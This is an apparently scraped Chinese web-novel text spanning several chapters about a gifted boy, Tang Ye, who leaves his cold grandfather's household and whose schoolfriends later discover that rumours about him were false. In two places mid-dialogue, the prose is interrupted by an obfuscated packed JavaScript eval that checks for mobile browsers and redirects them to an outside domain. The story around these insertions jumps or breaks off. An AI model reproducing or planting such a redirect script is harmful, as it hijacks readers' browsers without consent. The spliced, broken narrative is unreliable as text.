他们的关系,曾经如同阳光般灿烂而热烈,也如微醺的月色那么迷离,如今却已经永远地停留在了那个仲夏之夜,他们靠得那么近、互相从对方眼中看到自己眼睛的瞬间之中。 ——那时,他曾天真地以为自己于对方来说,是最特别的,在对方面前,自己可以肆无忌惮地获得理解、尊重与包容。 这个美好的片断,现在马上成为了他心中最不敢触及的地方。 时间会治好一切。他抱抱自己的肩膀。 年近七旬的张恩国,身材依旧挺拔如松,步履虽缓却坚定有力。他缓缓再次走进病房,目光落在把自己抱成一团的少年身上。 “何家的人嘛,往好了说就是正义凛然,说难听些就是道貌岸然。”张恩国摇了摇头。 “我不许你这样说他!”少年对老人怒目而视。刺猬竖起了全身的刺,却不是为自己。 “我怎么不知道你申请了京城大学的少年班?”张恩国并不在意这个刺球儿。 唐晔轻笑一声,掩饰着刚才的冲动,装作毫不在意地摇了摇头:“托辞而已!……要说的话您刚刚还没说完吗,怎么还没走人?” 张恩国微微皱眉,对于唐晔那带刺的回应似乎并不反感:“何家小孩来之前,我跟你说的事,你弄清楚了吗?” 唐晔的眼神一暗,低声回应:“查清楚了,您确实没骗我。”他的声音低沉,透露出深深的嫌弃。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942760|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你现在全都明白了?”张恩国问。 “是的。”唐晔的声音中带着无奈与悲凉,刚刚得知的真相,让他觉得自己根本不配,不配这世间的任何美好。 张恩国看着他,眼中闪过一丝复杂的光芒:“那就跟我走吧,我们不排斥任何人。” 唐晔带着一丝疑惑问道:“我还有什么东西是你需要的?龙之城不是已经交还了吗?” 张恩国微微一笑,看来一切都在他的掌控之中:“你懂的东西,绝不止唐晚星留下的那一点。我要那个你自创的强大算法。” 唐晔心中一凛,他从未想过会有人知道它的存在。他忍不住问道:“你怎么知道它的?” 张恩国似乎并不在意唐晔的惊讶,他平静地说:“在这个世界上,没有不透风的墙。你的才华和潜力,早就有人注意到了。” 张恩国说得似乎众人皆知,但这个算法,他实际上只在两个人面前展示过——何西和唐笑。 在何西面前,展示过的已远不止一个算法,而是一整套完善的系统。 回想起几年前,当他刚涉足计算机领域时,就独创了这个运算模型,当时知道此事的只有姐姐唐笑。 他突然意识到这一点。 由于姐姐也不受母亲重视,因此在他来到中国后的四年多里,经常在祖父家与她相遇,进而相识。 在当时尚算陌生环境中感到惊恐时,他曾躲进她的怀里,得到她轻声细语的安慰。那些时刻,他感受到了一种从未有过的温暖和安全,就像过去,他的亲生母亲还未从他身边离开时一样。 他天真地以为他们心意相通,所以当她上个月突然改变态度时,他深感困惑。他以为她只是暂时的不理解自己的选择,期待她终会再次对自己微笑。 但现在看来,姐姐上个月对我说的那句“你怎么不去死”也是出自真心。不过,她为我安排了一个更戏剧化的“死法”。 唐笑应该也察觉到了唐天精神状况的异常,却让我单独与唐天共处一室。无论唐天伤害了他自己、还是我,她都可以借此机会将我们逐出唐家。 她真的非常坚韧,想要的东西不择手段一定要争取到,从不向命运低头。 那么,就满足她吧。 他彻底失去了说“不”的愿望。 何耀祖与卡佳两人,一前一后走进了医院那间充满消毒水气味的病房。 此时何耀祖心乱得很,本来春节后回到京城后,与科技院一向有联系的卡佳无意中向何粤以及自己打听起这名少年,他其实也不能确认这位女士真是唐晔的生母,只囫囵答应,有机会给她引见这孩子。 紧接着发现唐晔竟然能操纵唐晚星创造的龙之城与Nuit、他像是认得卡佳一样有巨大反应、由于何粤的死、正想说劝说少年到京城科技院,少年遭到自己家人一致排斥、不久后少年又受了重伤,怎么这么多巧合?就像把唐晔往京城送过去那么顺滑。 他走到唐晔的病床前,看着那个曾经敢和他叫板的小小少年,如今却只能静静倚在病床上。“小晔,听说你眼睛受了伤,这么多天过去了,我才知道这件事。”何耀祖的声音带着难过。 唐晔静静地听着何耀祖的话,他的脸上没有太多的表情,但心中却暗暗笑了。他明白,何家的人,的确重情重义。但此刻,他的心却像是一块被冻结的冰,冷得再没有一丝温度。 “何爷爷,您之前不是说,何粤大叔去了,那边需要人继续干活么?”他咧嘴笑笑,不想废话,趁机提出了同意到京城科研院的事,声音平静得没有一丝波澜,仿佛在说一件与他无关的事情。 何耀祖听到这个突如其来的决定,略为惊讶,他之前不是怎么都不愿么?“小晔,你突然答应愿意去京城科研院,是不是有什么特别的原因?” 唐晔淡淡地笑了笑:“原因?我已经决定了离开这个让我活不下去的地方而已!因为呀!弄伤我的人,就是我的哥哥唐天呀!”他故意把语调拖得长长的,听起来让人觉得他只是信口开河。 “你哥哥?怎么会?”何耀祖的声音透露出深深的疑惑与不解,他又不是没见过唐天,那个开朗大气、待人真挚的少年。他望向唐晔,期望从对方的眼神中寻得答案。 然而唐晔的嘴边只挂着戏谑与凉薄:“您不相信的话,那下面的话我也没必要再说了。”不愧是何家人,连对自己的质疑也同出一辙。 卡佳看起来却有点激动,她温柔地对唐晔说,“孩子,你说,我相信你!” 唐晔无所谓似地笑了笑,声音平静得如同深潭中的水,没有一丝波澜:“小时候就经常了啦,这次哥哥弄伤我,我以为爷爷会为我主持公道,但没想到……”唐晔说到这里,眼神中闪过一丝复杂的情绪,“他的妈妈归秀兰为他辩解,爷爷听了她的话,便将此事不了了之。他甚至严禁别人再提此事。反正我在这个家里,就是一个可以随意被欺负、被忽视的存在而已。”他笑嘻嘻地用自嘲的语气夸张地说道,掩饰着心里的痛楚,你们不是正义凛然么,听到这消息你又作何反应呢?! 何耀祖沉重地叹了口气,他并非对这孩子的大伯母对这孩子的欺凌视而不见,但他坚信多年的老友唐万里会坚守正义,妥善教育家中的成员。对于老友家中错综复杂的纷争,他感到深深的疲惫,因此选择了回避。眼前的这个孩子,让他感到难以全信。 这个孩子平日里在家中看似娇生惯养、玩世不恭又口是心非,他真的如同自己所描述的那样,每天都经历着那样的生活吗? 这孩子的才华无疑是出类拔萃的,但他的品德是否能胜任重要职务还是个悬念。一旦进入科研院,就意味着站在了科技的最前沿,接触的是国家最高端的技术。如果此人居心不良,那么可能带来的后果将是灾难性的。 卡佳坐在他身边,怜悯地抚摸着他的头。他感到非常不习惯,但为了接下来的发展,只能忍耐一下。卡佳感到男孩身体的紧绷,她有点不知所措地缩回手。 看出她的退缩,唐晔微微垂下眼睑,用流利的北国语对卡佳说:“卡佳女士,您能否给予我一个温暖的拥抱?我认为,血缘并不能定义亲情的全部。在我心中,您早已如同我的母亲般存在。”他的语气中充满了诚恳,但眼中却闪过一丝不易察觉的算计。 卡佳听到唐晔的话,内心涌上一股暖流。她看着眼前这个温文尔雅的少年,就像看到了少年时的唐晚星还活着一样。她温柔地伸出双臂,轻轻地环抱住唐晔,想要给予他“母亲般”的安慰。 唐晔的内心却并未如表面般平静——这个世界上没有无缘无故的爱,也没有不劳而获的幸福。 然而,这一幕在不懂北国语的何耀祖、以及刚巧进门的唐万里眼中,却显得尤为温馨。他们只见唐晔与卡佳母子二人紧紧相拥,笑容温馨,仿佛在分享着无尽的喜悦与秘密。然而,对于小少年心里的曲折缘由,他们却一无所知。 这星期,方源费尽口舌,终于说服了老爷前来探望三少爷。一进门,眼前的一幕令人震惊。 唐万里站在一旁,目光如冰。正是这个外国女子!正是因为她,他的爱子唐晚星才不幸离世。若她是本国人,定会受到他无尽的怒火。 他凝视着唐晔与卡佳,心中涌起一股难以言表的愤怒。在他看来,这对“母子”的深情厚意,更像是对他这位长辈的漠视与挑衅。他的脸色逐渐阴沉,眉头紧锁,仿佛即将爆发的火山。 终于,他无法再忍受这压抑的氛围,愤怒地转身离去。他未发一言,甚至连一眼都未看唐晔。 唐晔心中暗自冷笑,他的目的已然达成:在祖父面前上演一场“母子”情深,若祖父真觉得自己无足轻重,那自己便真的没有留下的必要了。 何耀祖见状,急忙追了出去。他追上唐万里,迫切说道:“唐老弟,我想暂时把小晔带去京城科研院,你觉得如何?” 唐万里停下脚步,冷漠地打断了何耀祖的话:“随你便吧,我懒得管。”说完,他便继续向前走去,再也没有回头看一眼。 这一幕让何耀祖感到一阵莫名的寒意,唐晔说的很有可能是真的,唐万里对唐晔的漠视已经达到了无法挽回的地步。他叹了口气,在唐万里背后叫道:“小晔是个聪明的孩子,但他也需要我们的引导和帮助。如果我们就这样放任他不管,他可能会走上弯路!” 他没再得到唐万里的回应。 卡佳松开怀抱,看着唐晔眼神中的绝望和决绝,她温柔地说:“孩子,你没事吧?你爷爷他……” 唐晔打断了她的话,淡淡地说道:“没关系。祖父他有自己的想法和选择,我会尊重他的决定。至于我,我也有我的路要走。” 卡佳轻轻地握住少年的手,在他耳边小声地、清晰地说,“如果想要过来我这里,随时告诉我!”他一定会是自己的良好助力。 27. 第 27 章 经过两周多的治疗,唐晔眼睛的伤势有了好转的迹象。医生一同意他出院,他便急迫地离开医院回到万里书院,默默地收拾起行李,无视着陈姨絮絮叨叨的劝慰。 他把自己的卡里剩下的钱都转给陈姨,在他看来这并不足以回报这个质朴笨拙、却对自己真诚爱护的保姆。 要带上的并不多,因为无论在哪里,他本就没有太多的牵挂。 夜半,不顾更深露重,他迫不及待地让司机把自己送回云山大宅。 黑暗中的大宅沉睡在云山的怀抱中,七年前,当他怯怯地来到此处时,既孤单无助,又满怀憧憬。 黑暗中,他环视四周,房里的每一件物品都承载着过去的回忆,他曾欣喜过、安心过,寄望过也失望过。而这里现在却再也无法温暖他冰冷的心。 他整夜未眠,枯坐到天明。 在天色微亮时,他起身打开了房门。站在走廊上,目光透过雾气弥漫的清晨,望向那遥远的云山之巅。 这座沉稳的大山,这么高,怀抱这么宽广,却并不庇荫于他。 仲夏清晨的池塘,水面静静映照着蓝天白云。 他撒下最后一把鱼饲,洗净双手,然后缓缓打开琴盒。 他决定再奏一曲,告别往昔,送行未来。 琴盒里静静躺着那床他钟爱至极的古琴“流光”。 姐姐曾责备他花费过多,却未曾想到他从未想过将此琴占为己有。这床古琴承载着千年的历史,他仅是匆匆过客,能与之相遇,实乃幸事。至于自己离开后,爷爷会如何处理这琴,他无从知晓。从此以后,唐家的一切也再与他无关。 他闭上眼睛,手指轻抚琴弦,开始弹奏。 方源悄悄走进月亮门,静静地站在远处,落在那位他从小看着长大的孩子身上。 唐晔身着一件白衬衫,衣袂随风轻扬。他端坐于古琴前,双手指尖流转间,那琴音,如同离别的叹息,低婉哀伤,让人不禁为之动容。 方源静静地聆听着,心中涌起一股莫名的情感,回忆起了自己看着这孩子从稚童到现在,自己陪伴他度过的那些时光,在琴音中一一重现。 越是听下去,他不禁眉头紧锁,好容易待曲终,他急切走上前问道:“少爷怎么弹起了这曲阳关三叠?弹得这么哀婉,是在送别谁?” 唐晔缓缓睁开眼睛,眼中流露出一丝决然。他低声说道:“历经多年,我所学习的一切都是为了取悦他人,迎合他们的期望。然而现在,我终于能为自己而奏了。” “您这是何意?”方源有些不解。 唐晔站起身,深深地看了方源一眼,说道:“方伯伯,我走了。不知何时再有机会相见。从今以后,请您定要珍重自身,好好陪伴祖父。” “你在说什么呀,三少爷。”方源惊讶于他的语气,不像暂离,而像永别。 “何爷爷不是跟您两位说过了吗?我要跟他走了。”唐晔的语气冷淡又坚定。 “您想去京城科研院呆一段时间是吧?我知道,也不急一时呀!您的伤又没完全好,过两天还要去复诊呢!”方源急忙劝阻。 唐晔淡淡一笑,说道:“现在已经消肿了,医生昨日也说正在慢慢好转,再过两三个星期就会好得差不多了。” “正是这样,所以才不能掉以轻心,万一感染了呢?我跟何老说下,您先留在家再休养一段时间,家里有人照顾您。”方源试图说服他。 唐晔摇了摇头,语调中透露出一丝悲凉:“我的家在哪?” 一个家,是亲情的港湾,是力量的源泉。 那里充满了欢声笑语,也共同经历了风雨洗礼;那里流淌着无尽的爱,也孕育着无条件的信任。 曾经我以为爷爷赠予的财物就是一个家的真谛,我以为为自己寻得父母兄姊就是找到家的方向。 而当我看到其他人如何被爱包围,我才蓦然惊觉自己一无所有。 方源看着他,眼中闪过一丝同情:“三少爷,您说笑了,这就是您的家。” 唐晔摇了摇头:“方伯伯,我曾以为它是。” 说着,他们已经来到唐万里的院落中。“我想进去跟爷爷道别,烦请您通报一下。” “三少爷,如果您想暂时离开,我会支持您。但请您不要用这样的语气跟老爷说话,他会很难过的。”说着,方源试图伸手拦住他。 唐晔笑了起来,反问道:“我说什么,爷爷在意吗?” 方源听到后,顿时无言以对,只能静静地凝视着唐晔,双眼中满是忧虑与无力。他深知自从这孩子受伤的那晚,老爷默许归秀兰的请求后,他与老爷之间的联系便已断裂。何老提议暂时让孩子去科研院交流学习,这样也好,新环境或许能助他疗愈心灵。 方源往前走一步微微挡住走廊,张嘴想再尝试说服这孩子冷静,不要激怒祖父。 唐晔见方源的反应,也不多话,只轻轻地推开他,径直走向房门口。他深深地吸了一口气,然后抬手敲了敲门。 门内传来唐万里冷漠的声音:“什么事?” 唐晔推开门走进唐万里房中,隔着屏风,低声说道:“爷爷,是我。我想跟您告别。” 他站在屏风外等了许久,唐万里都没出声,他轻唤一声,“爷爷?您还好吗?” “有事就说!” “我会随何爷爷去京城,此后应该不会再回羊城了。我也无意继承唐家的财产,您将它交给谁,与我无关。” 他想了想,还是隔着屏风恭敬地躹了三个躬,说,“爷爷,谢谢您多年的养育之恩。晔儿就此告别。”他又等了一小会儿,还是没有回应,只好转身,正要走出去—— “快滚吧!养不熟的白眼狼!” 唐晔的身体猛地一僵,他像是被雷击中一般站在原地,浑身发抖。他回头看向屏风:“爷爷,您说,我是……白眼狼?” 唐万里没有回答,只是冷冷地哼了一声。 唐晔的心仿佛被一股无形的力量紧紧揪住,即便他已下定决心斩断一切牵绊,仍难以抵挡那股难以言喻的痛楚。 他深吸了一口气,努力控制自己的声音说道:“也对,我的那个‘母亲’夺走了您引以为傲的儿子,而我又拆散了您的家人,赶走了您的孙子,我做了这些事,然后拍拍屁股抱着别人的大腿走了……嗯,的确让您挺心塞的。” 我从长长的沉睡中醒来,一睁眼就是您的脸。您的脸色并不慈善,却突然扬起嘴角对我笑了一下。 您笑了。虽然我不知道您是谁,也不记得自己是谁、这是哪、为什么在这里、但我好像也没有别处可以去。 所以我也回应您一个甜甜的笑。 您马上收敛住笑容。但我没有,我一直对您笑,直到您忍不住第二次扬了扬嘴角。那一刻,我看到了您内心的柔软,我确信您是个很好很好的人,您一定会好好疼爱我。 您肯定已经了解过我们的背景。我成长在中亚的一个小城,那里天气严寒。我们在贫瘠之地成长,从小穷困,没有见识,但我无师自通了如何示弱装乖、楚楚可怜。 您平时虽然冷淡,但偶尔心情愉悦时也会对我展颜,与我交谈,为我讲故事,这些都深深印在我的记忆中。 我从小就没有父亲,后来我才意识到,原来我内心一直渴望着巍峨如山的父爱。 有一天,来了一个男孩。他既高大,还器宇轩昂。我倾慕他。 听说他是我的哥哥,我便用心画了一张画,高高兴兴地双手送给他。 他把画踩在地上,踩了好几脚。我问他为什么。他没有回答我。 有个女人冲过来,一把把我推倒,抓着我的头发轻蔑地让我滚开。我问她为什么。没有人回答我。 旁边的老阿姨却用手指着我,说,私生子,杂种,脏。 凭着他们的语气,我知道这些是不好的词。 我问周围的大人和孩子,他们为什么要这样说,他们都没回答我。 不知是谁第一个学那个女人扯我的头发,他们都学着这样做。 我落荒而逃。 在那难熬的三天里,无论我躲在哪里,那群孩子总能把我找到,把我带到我的神气洋洋的哥哥面前。扯我的头发、衣服,弄坏我的玩具,踩脏我的画,从池子里捞起我最喜欢的那条黑色的鱼把它杀死。 这条鱼与其他死去的金色的鱼并无二致,但因我格外关注它,它在我心中就是最特别的。 那个傍晚,我跪在池边,委屈又无助,狼狈又难过。 是您的脚步声。您停在我身后不远,那时我天真地以为,这座辽阔巍峨的大山,一定会让我依靠。 但您只问我,为什么不把他们揍一顿? 我惊讶地回头看着您,我从没想过可以像哥哥那样肆意妄为。他有底气,我没有。 然后您便转身离开了。这座大山,不庇护我。 很小的时候,您便带我参观过您的书房。见书架上都是古书,我知道您一定很喜欢,我便很快就能倒背如流;您随口给我讲解一幅字画,我就临摹它,学着这样的立意、笔法、风格。 琴棋诗画,我样样精通。 可是我见到哥哥时,我才知道,即使什么也不学,什么也不会,他依然备受宠爱。 他厌恶我,欺负我。您不发一言。只有方伯伯让我包容忍耐。 当全家人围坐一堂,我却独自坐在角落,无人分我一个眼神。永远是那种莫名熟悉的、理所当然的格格不入。 我就像一个孤独的游魂,穿梭在别人家的热闹里。 后来晴园的池子里又有了一条黑色的鱼。再后来,它也死了,或者是不见了,我找不到它还活着的痕迹。 但我已经不会难过了。 “……那条黑色的鱼死了。我寄托在它身上的、那些我本该拥有的爱与期待,便再也无处安放了。” “爷爷,珍重。” 他的声音中带着一丝自嘲和苦涩,转身走出房间,没有再回头。 “三少爷……”方源的声音里,带着三分恳求,七分不舍。 “方伯伯,这么多年,您从来没对我有过一分轻视,既然您对我一视平等,那您叫我一声孩子,可好?” “孩子,不要走,好吗?” 而那少年已渐行渐远。 随风传来一阵清朗的吟诵: “一去昆仑西,何时复回翔。 但恨处非位,怆悢使心伤。” 少年站在十字路口。 他回忆起那天何耀祖看着他的那种审视的眼神,深邃又锐利,犹如一把利剑剖析着他的内心。他暗自冷笑,京城士族的高门大户,那些自诩光明磊落、正义凛然的人,当他们知晓我是什么人的时候,我还要再面临多一次审视与轻视吗? 而这位异国“母亲”,虽然面容和蔼,眼中满是关切,但她的陌生让他心生抵触,更别提跟随她走了。 张恩国在约定好的那个VIP候机室等着,当少年的身影出现在视线中,他没有任何惊讶。 张恩国说:“何老哥想拉你一把,无非也是为了自己的利益。但他找错方向了,误以为你是卡佳与唐晚星所生的孩子。你的那位‘母亲’卡佳呢,心知肚明你的真实身份和强大能力,不过顺水推舟地想一有机会就把你拐到他们那边。早点醒悟也好,这世界本就没什么道理和感情可言,到了这样的高度,人人如履薄冰。跟我走吧,去远方。” 远方除了遥远一无所有,更远的地方更加孤独。 这头凶狠的猎食者会带自己去哪里呢?少年心中并无确切答案。也许是北方的雪原,也许是南方的热带雨林,又或许是某个偏远的山谷小镇。他不知道自己将去往何方,但此刻,他竟感到一种莫名的解脱。 人生无根蒂,飘如陌上尘。 “我随您走。” 当这架飞机即将要起飞时,引擎的巨大轰鸣声,让这少年情不自禁的全身发抖,他在座位上不由得捂着耳朵,蜷缩着身体,忍受着这巨大的不适。 张恩国看着身边这蜷缩的瘦弱身体,不仅有些奇怪,便拿下他的一只手,在他耳边问,“难道你从小到大没有坐过飞机?” 唐晔连忙再次捂上耳朵,摇了摇头,又点了点头。 张恩国看到了眼前这瘦弱的小孩,平时那么高冷傲骄,现在眼圈都发红了,但嘴唇一片苍白,他叹了口气,“不至于吧,唐家的不至于不带你出过门吧?” 这小孩没有回答,许是因为听不清。只是因为持续的引擎轰鸣声,小孩害怕发抖得更厉害。 张恩国叹了口气,把手搭在他的另一侧肩膀上轻轻地拍着他的肩膀安抚他。 恐惧让小孩顾不得这么多,趁势钻进张恩国的怀抱寻求安慰。 健壮魁梧的老人把他拉过来,抱在怀里,像抱住一只宠物狗,一点一点安抚他。 他看似逐渐平静下来。 第四十二萍踪 七月末,天空一片湛蓝,阳光明媚地穿过树叶缝隙,在地面上投下斑驳的影子。袁雅维和一群班干部兴高采烈地忙碌着,帮学校把各种物品搬到新的级组办公室。 冯老师正埋头整理学生名单,突然她抬头问袁雅维:“袁雅维,唐晔转学后,你们还有联系吗?” 听到这个名字,袁雅维心里不禁一沉。自从6月初唐晔眼睛受伤住院后,她去看望过一次。虽然之后发过几次信息,他总说已经没事了,但从7月起,他的信息便再没回复。她甚至是从自己爸爸口中得知他转学的事。她有些失落,但女生的矜持也不好再频繁联系,只是淡淡地回答:“没呢!” 冯老师有些诧异:“真的吗?他好像跟谁都没再联系,就像人间蒸发了一样。” 袁雅维忍不住转向刚走进来的何嘉南:“喂,何嘉南,唐晔转学去京城科大少年班后,有跟你联系吗?” 何嘉南低着头,声音有些冷淡:“没有。”他没有提及他们之间的争吵,只是简单地回答。 随后进来的钟小琳一边扇着风,一边说:“他们两兄弟都怪怪的,走人也不说一声。唐天也是,都要上飞机了才告诉黎梓茵他要去M国,连个正式的告别都没有。感觉他们就没把我们当朋友!” 袁雅维笑着轻轻捏了捏好友的脸:“对对对,还是我们闺蜜好!” 钟小琳感叹道:“哎,身边少了一位大帅哥,真是可惜了!” “那你去京城找他呗!”袁雅维调侃道。 “别!我可高攀不起。哎,荷塘月色cp拆伙咯!”钟小琳又朝另一侧的何嘉南使了个眼色,一脸的八卦。 何嘉南的脸色顿时冷了下来:“别把我跟他扯到一起,谢谢。” “哟,你干嘛了?你‘老婆’跑路了,你扮失恋啊?”钟小琳调侃道。 何嘉南剑眉一挑,正要说话—— 袁雅维突然感到有些异样,这也对何嘉南说道:“他不跟我们联系不奇怪,但他不可能不跟你联系吧,你俩这么好的朋友。” 何嘉南的情绪突然激动起来:“我没有这样的朋友!他做了什么事情你们不知道?!” 两个女生露出茫然的表情:“谁?做了什么事?” “你最喜欢的唐晔啊!”何嘉南咬牙切齿对袁雅维吼,“你最好及早看清他的真面目!别对他这么一往情深!” “什么‘一往情深’,你别乱说!何嘉南你今天是怎么了?”袁雅维又羞又气,瞪了何嘉南一眼。 办公室里,其他班干部看到他们俩神色不太对,开始议论纷纷。钟小琳赶紧劝阻两位好友。 钟小琳把他们俩拉到外面:“你们俩有什么好怼的,还要当着老师们的面乱说?何嘉南,你究竟想说唐晔什么事?你是不是知道些什么又不早点告诉我们?” “6月份,梁一民师兄的事,你们不知道?”何嘉南的脸色一沉,语气中充满了不屑。 “梁一民师兄?”两位女生觉得这名字有点儿熟悉,“就是初三那个成绩很好的师兄,他怎么了?”“我记得……对了,他妈妈得了癌症,我们前一学期不是给他捐钱了吗?”“好像后来治好了,我记得梁师兄还写了感谢信给全校同学呢。”“但这关唐晔什么事?唐晔捐了很多钱?” 何嘉南冷笑一声:“他捐得当然多!整整300万呢!为什么会这么多?本来梁师兄有资格参加去年底的物理联赛,是唐晔诱使他退出比赛让自己去!” 他的话音一落,两个女生顿时惊呆了。 何嘉南看着她们震惊的表情,语气更加愤慨:“你们没想到吧?唐晔竟然是这样的人,他居然用钱来买别人的前途!” 袁雅维呆呆地站在原地,一言不发。钟小琳轻轻拍了拍她的手臂,却发现她的眼眶已经湿润了,钟小琳连忙安慰她:“小维,先别难过,我们都在这里。”但她却只是拼命摇着头,却哽咽着说不出话来。 钟小琳看她张不开口,便一边感叹着一边当了嘴替:“哎,何嘉南,你有没有想过,以当时的客观环境来说,梁师兄根本就不可能去沪城参赛。他要照顾病得那么重的母亲,怎么可能离得开羊城啊?他一退出,学校肯定要派人顶上的,初三不是没有成绩好的师兄师姐,但,谁有唐晔厉害?学校派他顶上,不是理所当然吗?这个智能机器人项目,说句实在,没有他唐晔,还有谁搞得定? ……倒是你——,你也先别着急……当时很多人私下讨论过为什么让你顶另一个名额的。对,你理科也非常厉害,比我们同年级的厉害很多,但是并非到像唐晔那样无可取代的水平,而且你今年明年还有机会,怎么也应该派当时初三的人去。你也先别生气,当时知道你家背景的,有些人也猜测你是不是走了你爸后门,但我们几个一致对了外,坚决否认。” 何嘉南被钟小琳的话说得哑口无言。其实,他心里也一直疑惑,为什么学校会派唐晔和自己这两个初一的学生去参加比赛。他之所以对唐晔如此愤恨,就是因为他想不通这一点,再加上他认为唐晔是用钱来买下别人的机会,这更加让他难以接受。 钟小琳看着何嘉南陷入沉思,继续说道:“就是说,唐晔他捐不捐钱给梁师兄,都是有资格参赛的。他捐,我认为是出于善意呀;退一万步说,就算他唐晔只是为了炫富,但梁师兄也达到救治母亲的目的了呀!在于梁师兄那边,哪可能又想参赛夺冠、又想有人为他照顾母亲、又想有人送钱给母亲看病这么好的事?所以退出比赛这是梁师兄个人的取舍啊!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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谈到唐晔给钱的事情,梁一民解释道:“说到他给我钱,我只能说,有这回事。当时学校大家给我捐的钱,你懂的,杯水车薪,连付基本的保守治疗费用都不够,别说用新药了。他说他不想在学校高调捐款、让大家再议论他的家庭,所以想私下捐给我。我很感激,但我不能接受这么大额的捐款,所以我们约定好,等我以后工作了再一点点还给他。我还给他写了借条,当时王翔宇也在场见证。” 王翔宇点了点头,表示认可。 紧接着他却叹了口气,从手机里翻出了一张照片,照片上是一张借条和一个快递袋,又继续说:“但7月初的时候,我收到了一个快递,就是这张借条。我忙联系唐晔,甚至还找过地产集团高层的人,但再也联系不上他了。”说到这里,他的眼神里流露出了一丝惋惜和遗憾。 “那张师兄为什么会退出呢,为什么他承认了唐晔诱使你拿钱退赛的事呢?”何嘉南激动不已,声音都在颤抖。 梁一民叹了口气,说:“张亦晨不相信我说的话,后来,看到你们得大奖归来,他英语那边成绩却不太好,我估计,心里稍微有些不平衡吧。” 王翔宇犹犹豫豫地开了口:“呃,其实……张亦晨知道小师弟私下捐钱给你那件事,是我透露出去的。” 王翔宇低下头,声音里充满了懊悔,“师弟们加入、我们开始修改机器人后,有晚我累得要死,小师弟还在抠细节,我气不过,就和他吵了几句。晚上走的时候刚好碰到张亦晨,他吐槽了他的指导老师,我就顺嘴吐槽了这不用吃不用睡的小师弟几句,说这么拼干嘛,反正家里这么有钱,都花了三百万参加比赛了,再花些钱让评委通融一下就好啦!” 梁一民气极:“你!我要给你气死了,你怎么能这么乱讲!” 王翔宇后悔不迭地说:“后来我跟张亦晨说了,那晚随口乱说的,让他忘了这事。我们也不是第一天认识张亦晨了,我也没想到他会这么对外说啊!”说到这里,他摇了摇头,似乎对自己的冲动感到懊悔不已。 梁一民注视着何嘉南的眼睛:“师弟,如果你在意的是,他有没有向我提出这个交换条件,我可以清晰地回答你,他没有提出过,甚至没有表现过任何一点高人一等的态度。” “何嘉南,现在一切都已经明朗了:唐晔和梁师兄之间,初衷只是探讨比赛题材,而梁师兄愿意让出名额,一是为了给生病母亲更多的陪伴时光,二是明白自己无法将比赛发挥到极致;再就是唐晔慷慨解囊是为了帮梁师兄解决燃眉之急,梁师兄愿意接受金钱帮助是为了给母亲一线生机。 最终,梁师兄的母亲得到及时充分治疗,你们拿了金奖,结果让所有人都感到满意。 然而,你却从这个和谐的结果中,推断出了一个恶意的起因:唐晔是为了洗白当时被教育局调查成绩的自己,所以用钱让梁师兄退赛,自己参赛拿奖。 哪怕当时,你能够稍微保持一些中立,稍微理解一下这个结果是双方共赢的,那该有多好啊! 我从未强求你相信唐晔是因为同情梁师兄的处境,才给出那笔钱的。我更没有要求你认为唐晔是那种无私到近乎傻气的人——你刚才也听到了,梁师兄因为担心自己无法偿还,只向唐晔提出借用150万,但唐晔却倾尽全力把自己全部的320万都转给了他,为了使梁妈妈的生命不再受困于金钱。 但这样的慷慨举动,却让你更加坚信,他是因为要买下师兄的资格和尊严才这么做的。 ……你可以想象吗?他是心痛到什么程度,才会对你这个他最初的、最好的朋友说‘不再是朋友’这句话?”袁雅维说着说着,眼泪大滴大滴往下掉。 “别说了,袁雅维!于事无补!”钟小琳低声打断道,声音里满是无奈。 “何嘉南你看,当你感到难受的时候,有我们这些朋友来安慰你,大家也会因为你的痛苦而感到难过。可是唐晔呢?当他陷入困境时,又有谁来守护他?你体验过那种孤立无援的感觉吗?他是如何一步步走到绝望的深渊,才会断绝与所有人的联系?” 袁雅维的话如同一把锐利的剑,深深地刺入了何嘉南的心中。他站在那里,脸色苍白,嘴唇翕动了几下,却一个字都说不出来。他低头看着脚下的地面,那里像有一个深不见底的黑洞,正在一点一点吞噬他的灵魂。 他脑中闪现着唐晔当时的神情:难以置信、苍白、脆弱、无助。 以及,悲凉。 “我错了。”攒了好久力气,他终于能说话了,声音低沉,“我本不该轻信那些流言蜚语,更不该因为自己的无端揣测,就去伤害唐晔,我本该坚定地站在他身边。……但现在,我已经找不到他了,我也不知道他在哪里。” “问方伯伯!他们家的人肯定知道唐晔在哪!”袁雅维叫着。 他们三人骑车去了万里地产总部,见到了方源副总裁。 五十多岁的中年男人举止沉稳,但当提及小少爷唐晔时,声音都流露着心疼与担忧。 “方伯伯,我们不是来给他添麻烦的。”何嘉南鼓起勇气,对这位友善的长辈说,“可能您听唐晔说起过,我们之间有些误会。我现在来,就是想向他道歉,我不会打扰他的学习,只是想表达我的歉意,仅此而已。” “何公子,袁小姐,还有这位小同学,我并非隐瞒你们,但实话说,关于那孩子的行踪,我们也不清楚。” “怎么会这样?”三人异口同声,脸上写满了失望。 “当时他与老爷以及二少爷之间发生了一些矛盾,导致他决定离开唐家。”方伯伯的语气充满了遗憾。 “他和唐天之间究竟发生了什么?怎么两兄弟一个两个都走了?”钟小琳心直口快地问。 方伯伯叹了口气,“二少爷随他母亲去M国生活了,你们大概也知道唐总的事情。至于两位小少爷之间的纠葛,我不便多说,但我可以告诉你们,小晔这孩子,在这个问题上没有过错。” “好吧好吧,那唐晔离开的时候,总不会连你们家人都不知道他要去哪里吧?”钟小琳不甘心地追问。 “我们原本以为他要去京城的科研院,但那边的人一直没等到他。我们只知道他最后是到了白云机场,然后就失去了踪影。”方伯伯的语气充满了无奈。 